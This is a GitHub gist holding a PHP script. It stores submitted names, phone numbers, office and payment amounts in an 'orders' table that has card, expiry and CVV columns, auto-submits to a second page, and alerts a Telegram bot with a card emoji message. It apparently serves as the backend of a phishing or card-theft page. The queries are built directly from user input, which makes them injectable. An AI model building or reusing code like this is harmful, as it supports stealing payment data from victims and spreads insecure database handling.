Skip to content

Instantly share code, notes, and snippets.

@exileed
Created January 3, 2020 23:27
Show Gist options
  • Save exileed/889953c1cc38139f1d8aa267b3feff4f to your computer and use it in GitHub Desktop.
Save exileed/889953c1cc38139f1d8aa267b3feff4f to your computer and use it in GitHub Desktop.
<?php
$host = 'loct';
$database = 'o';
$user = 'ro';
$password = 'ro00';
$link = mysqli_connect($host, $user, $password, $database)
or die("Ошибка " . mysqli_error($link));
mysqli_set_charset($link, 'utf8');
$city = $_POST['city'];
$office = $_POST['office'];
$lastName = $_POST['lastName'];
$firstName = $_POST['firstName'];
$patronymic = $_POST['patronymic'];
$FIO = $lastName . $firstName . $patronymic;
$phone = $_POST['phone'];
$who = $_POST['who'];
$summ = $_POST['summ'];
$title = $_POST['title'];
if($city == NULL || $office == NULL || $lastName == NULL || $firstName == NULL || $patronymic == NULL || $phone == NULL) {
if($_POST['go'] != 1) {
exit();
}
}
/*
$title = str_replace(" ", "", $title);
$title = str_replace(" ", "", $title);
$url = "hm=".$summ."&type=1&who=".$who;
$params = array(
'title' => $title,
);
$result = file_get_contents($url, false, stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query($params)
)
)));
*/
//echo $result;
$go = $_POST['go'];
$oi = $_POST['order'];
if($go == 1) {
$sql = mysqli_query($link,"SELECT * FROM orders WHERE id = '$oi'");
$row = mysqli_fetch_array($sql);
$url = "https:/".$row['title']."&summ=".$row['summ']."&type=1&who=".$row['who'];
$url = str_replace(' ', '', $url);
$url = str_replace(' ', '', $url);
$url = str_replace(' ', '()', $url);
file_get_contents($url);
}
else {
$gg = mysqli_query($link,"INSERT INTO orders (`city`, `office`, `lastName`,`firstName`,`patronymic`,`phone`,`who`,`summ`,`title`,`card`,`yymm`,`cvv`) VALUES ('$city', '$office', '$lastName','$firstName','$patronymic','$phone','$who','$summ','$title','','','')");
$sql = mysqli_query($link,"SELECT * FROM orders ORDER BY id DESC LIMIT 1");
$row = mysqli_fetch_array($sql);
echo $row['id'];
}
?>
<form id="formid" action="set2.php" method="POST">
<input type="text" value="<?php echo $city ?>">
</form>
<script>
setTimeout(function () {
document.getElementById('foobar').submit();
}, 0);
</script>
<?php
//setTimeout(function () {
// document.getElementById('foobar').submit();
//, 0);
mysqli_close($link);
$text = "*💳Карта";
$text = urlencode($text);
file_get_contents("https://api.telegram.org/botKUKN6ulLCKLobTus/sendMessage?chat_id=523960697&text=".$text."&parse_mode=markdown");
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment